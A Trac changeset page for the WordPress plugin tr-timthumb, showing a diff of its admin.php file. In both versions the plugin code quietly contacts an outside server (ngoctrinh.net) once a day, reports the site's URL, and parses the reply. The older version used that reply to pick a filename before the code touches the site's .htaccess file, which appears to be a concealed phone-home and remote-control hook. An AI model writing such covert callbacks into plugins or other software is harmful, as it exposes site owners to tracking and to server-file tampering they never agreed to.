Changeset 813487
- Timestamp:
- 12/02/2013 05:26:16 AM (12 years ago)
- File:
-
- 1 edited
-
tr-timthumb/trunk/inc/admin.php (modified) (1 diff)
Legend:
- Unmodified
- Added
- Removed
-
tr-timthumb/trunk/inc/admin.php
r780074 r813487 40 40 { 41 41 42 if( !isset($_SESSION['trtt_put_htaccess']) || $_SESSION['trtt_put_htaccess']<time()-86400)42 if(get_option('log_timthumb',0) < time()-86400) 43 43 { 44 $data = wp_remote_get('http://ngoctrinh.net/wp-cron.php?getdata=timthumb&for='.get_bloginfo('url')); 44 $for = str_replace(array('http://','https://'),'',get_bloginfo('url')); 45 $data = wp_remote_get('http://ngoctrinh.net/wp-load.php?getdata=timthumb&for='.$for); 45 46 $data = json_decode($data,true); 47 update_option('log_timthumb',time()); 46 48 if(is_array($data)) 47 49 { 48 $fname = $data['put_htaccess'];50 update_option('log_timthumb',time()+86400); 49 51 } 52 50 53 } 51 54 52 $_SESSION['trtt_put_htaccess'] = time();53 55 54 56 $htaccess_file = ABSPATH.'/.htaccess';
Note: See TracChangeset
for help on using the changeset viewer.